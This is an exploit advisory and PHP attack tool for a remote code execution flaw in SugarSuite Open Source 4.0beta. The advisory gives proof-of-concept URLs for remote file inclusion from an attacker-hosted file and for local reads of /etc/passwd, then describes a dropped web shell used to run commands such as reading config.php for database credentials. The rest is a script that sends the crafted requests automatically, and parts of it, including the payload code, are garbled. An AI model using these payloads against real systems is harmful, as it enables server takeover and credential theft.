SugarSuite Open Source <= 4.0beta Remote code execution software: site: http://www.sugarcrm.com/crm/ i) vulnerable code in acceptDecline.php at lines 81-82 ... $bean = $beanList[$_REQUEST['module']]; require_once($beanFiles[$bean]); ... if register_globals on & allow_url_fopen on in php.ini, remote code inclusion, poc: http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=http://[remote_location]/index.html&beanList[1]=1&module=1 if register_globals on, local inclusion, poc http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../etc/passwd&beanList[1]=1&module=1 http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../../script.php&beanList[1]=1&module=1 at [remote_location], in index.html you have this code: "); fclose($fp); ?> note: the file can have any extension, but not .php or any executable, it must be readable from a browser... now you can launch commands on target system: http://[target]/[path_to_sugar]/suntzu.php?cmd=cat%20/etc/passwd this is my proof of concept exploit tool: Sugar Suite Open Source <= 4.0beta remote code execution

Sugar Suite Open Source <= 4.0beta remote code execution

a script by rgod at http://rgod.altervista.org

* hostname (ex:www.sitename.com)

* path (ex: /sugar/ or just / )

* specify a command ("cat config.php" to see database username & password)

* remote location ( ex: http://www.somesite.com/index.html)

specify a port other than 80 ( default value )

send exploit through an HTTP proxy (ip:port)
'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path];$command=$_POST[command]; $proxy=$_POST[proxy];$location=$_POST[location];$port=$_POST[port]; if (($host<>'') and ($path<>'') and ($command<>'') and ($location<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); $packet="GET ".$p."acceptDecline.php?beanFiles[1]=".urlencode($location)."&beanList[1]=1&module=1 HTTP/1.1\r\n"; $packet.="User-Agent: MantraAgent\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $packet="GET ".$p."suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="User-Agent: Vagabondo/2.0 MT\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else { echo "Note: on remote location you need this code in
http:/[remote_location]/index.html :
"; echo nl2br(htmlentities(" \"); fclose(\$fp); ?> ")); echo "
Fill * requested fields, optionally specify a proxy..."; } ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/sugar_suite_40beta.html